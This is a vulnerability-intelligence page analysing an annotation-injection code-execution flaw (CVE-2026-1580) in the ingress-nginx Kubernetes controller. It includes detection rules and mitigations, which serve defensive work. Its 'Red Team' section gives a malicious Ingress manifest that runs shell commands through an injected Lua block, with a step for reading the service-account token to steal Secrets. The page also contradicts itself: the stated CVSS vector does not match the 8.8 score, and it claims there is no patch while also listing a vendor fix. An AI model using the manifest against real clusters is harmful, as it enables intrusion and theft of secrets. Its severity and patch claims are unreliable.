☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-1580

CVE-2026-1580 Code Execution in Ingress-nginx
📅 PUBLISHED: 2026-02-03 22:16 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.13.7 — source: kubernetes. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.54%
👁️
0.54% probability
13.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-1580 is a critical security vulnerability in the ingress-nginx Kubernetes ingress controller. The flaw resides in the processing of the nginx.ingress.kubernetes.io/auth-method annotation, which allows an attacker to inject arbitrary nginx configuration directives. This injection can lead to remote code execution (RCE) within the ingress-nginx controller pod and unauthorized disclosure of Kubernetes Secrets that the controller has access to. In a default installation, the controller has cluster-wide read access to all Secrets, making this vulnerability particularly severe. The CVSS score is 8.8 (High), and no public exploit or patch is currently available. This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.8 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
  • Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
  • User Interaction: None (UI:N) – The attack does not require any user action.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full disclosure of Secrets accessible to the controller.
  • Integrity Impact: High (I:H) – Arbitrary code execution allows modification of system state.
  • Availability Impact: High (A:H) – Potential for denial of service or full compromise.

Threat Level: Critical. The combination of network exploitability, no required privileges, and high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using ingress-nginx.

Deep Dive & Mechanics

The vulnerability exists in the way ingress-nginx processes the nginx.ingress.kubernetes.io/auth-method annotation. This annotation is intended to specify the HTTP authentication method (e.g., basic, digest, bearer). However, due to insufficient input sanitization, an attacker can inject arbitrary nginx configuration directives by crafting a malicious annotation value.

Technical Flow:

  1. An attacker creates or modifies a Kubernetes Ingress resource with a malicious nginx.ingress.kubernetes.io/auth-method annotation.
  2. The ingress-nginx controller reads this annotation and, without proper validation, concatenates it directly into the generated nginx configuration file.
  3. The injected configuration can include nginx directives such as proxy_pass, set, access_by_lua_block, or content_by_lua_block, enabling arbitrary code execution.
  4. The attacker can then execute shell commands, read Secrets mounted in the controller pod, or pivot to other cluster resources.

Root Cause: Lack of input validation and sanitization for the auth-method annotation value. The controller should restrict this annotation to a predefined set of allowed values (e.g., basic, digest, bearer).

Impact: Full compromise of the ingress-nginx controller pod, which in default installations has access to all Secrets in the cluster. This can lead to lateral movement, privilege escalation, and data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Ingress controller reads annotation
authMethod := ingress.Annotations["nginx.ingress.kubernetes.io/auth-method"]
// Directly used in config generation without sanitization
config += "auth_method " + authMethod + ";"

Patched Code (Expected):

// Whitelist allowed values
allowedMethods := map[string]bool{"basic": true, "digest": true, "bearer": true}
authMethod := ingress.Annotations["nginx.ingress.kubernetes.io/auth-method"]
if !allowedMethods[authMethod] {
    // Reject or sanitize
    authMethod = "off"
}
config += "auth_method " + authMethod + ";"

Note: Since no official patch is available, the above is a recommended fix. The vendor should implement strict input validation and possibly use a templating engine that escapes special characters.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to create or modify an Ingress resource in a Kubernetes cluster with ingress-nginx installed.
  • The ingress-nginx controller must be running with default permissions (cluster-wide Secret access).

Exploitation Steps:

  1. Create a malicious Ingress resource with a crafted annotation:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: malicious-ingress
  annotations:
    nginx.ingress.kubernetes.io/auth-method: |
      basic;
      set $evil "test";
      access_by_lua_block {
        local handle = io.popen("id")
        local result = handle:read("*a")
        handle:close()
        ngx.log(ngx.ERR, result)
      }
spec:
  ingressClassName: nginx
  rules:
  - host: evil.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: dummy-service
            port:
              number: 80
  1. Apply the Ingress: kubectl apply -f malicious-ingress.yaml
  2. The controller will generate a configuration with the injected Lua code, executing id and logging the output.
  3. To exfiltrate Secrets, modify the Lua block to read /var/run/secrets/kubernetes.io/serviceaccount/token or other mounted Secrets.

Note: This is a conceptual exploit. Actual exploitation may require adjustments based on the specific ingress-nginx version and environment.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual Ingress annotations, especially nginx.ingress.kubernetes.io/auth-method with values other than basic, digest, or bearer.
  2. Audit ingress-nginx controller logs for errors or unexpected configuration reloads.
  3. Use admission controllers (e.g., OPA/Gatekeeper) to enforce annotation whitelisting.

Hunting Queries:

  • Kubernetes Audit Logs: Look for create or patch events on ingresses resources with annotation nginx.ingress.kubernetes.io/auth-method containing suspicious characters (e.g., ;, {, }).
  • Controller Logs: Search for patterns like auth_method followed by unexpected values.

Indicators of Compromise (IOCs)

  • Network: Outbound connections from the ingress-nginx controller pod to unexpected external IPs (data exfiltration).
  • File System: Unexpected files in the controller pod (e.g., /tmp/evil.sh).
  • Process: Unusual processes spawned by the nginx worker processes (e.g., id, curl, wget).
  • Kubernetes: Ingress resources with nginx.ingress.kubernetes.io/auth-method annotation containing special characters or multi-line values.
  • Logs: Controller logs containing error messages like lua entry thread aborted or unexpected nginx configuration syntax errors.

Detection Engineering

YARA Rule

rule CVE_2026_1580_Ingress_Nginx_Auth_Method_Injection {
    meta:
        description = "Detects malicious auth-method annotation in ingress-nginx"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-1580"
    strings:
        $annotation = "nginx.ingress.kubernetes.io/auth-method"
        $suspicious1 = "access_by_lua_block"
        $suspicious2 = "content_by_lua_block"
        $suspicious3 = "set $"
        $suspicious4 = "proxy_pass"
        $suspicious5 = "io.popen"
    condition:
        $annotation and any of ($suspicious*)
}

Sigma Rule

title: CVE-2026-1580 - Ingress-Nginx Auth-Method Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-1580 via malicious auth-method annotation
author: Valters IT
date: 2026-01-01
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: ["create", "patch"]
        objectRef.resource: "ingresses"
        objectRef.apiGroup: "networking.k8s.io"
    annotation_match:
        requestObject.metadata.annotations|contains: "nginx.ingress.kubernetes.io/auth-method"
    suspicious_content:
        requestObject.metadata.annotations|re: ".*(access_by_lua_block|content_by_lua_block|io\\.popen|proxy_pass).*"
    condition: selection and annotation_match and suspicious_content
falsepositives:
    - Legitimate use of advanced nginx features (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1580 - Ingress-Nginx Auth-Method Injection Attempt"; flow:to_server; content:"nginx.ingress.kubernetes.io/auth-method"; http_header; pcre:"/(access_by_lua_block|content_by_lua_block|io\.popen|proxy_pass)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the annotation: If not required, remove the nginx.ingress.kubernetes.io/auth-method annotation from all Ingress resources.
  2. Restrict controller permissions: Use RBAC to limit the controller's access to Secrets only in specific namespaces, not cluster-wide.
  3. Network segmentation: Isolate the ingress-nginx controller pod with network policies to prevent outbound data exfiltration.

Long-term Fix:

  • Apply a patch from the vendor once available.
  • Implement an admission webhook (e.g., OPA/Gatekeeper) to validate Ingress annotations and reject any that do not match a whitelist of allowed values.
  • Upgrade to a patched version of ingress-nginx as soon as it is released.

Workaround:

  • Use a custom nginx configuration template that escapes or validates the auth-method value before inclusion.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-1580/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.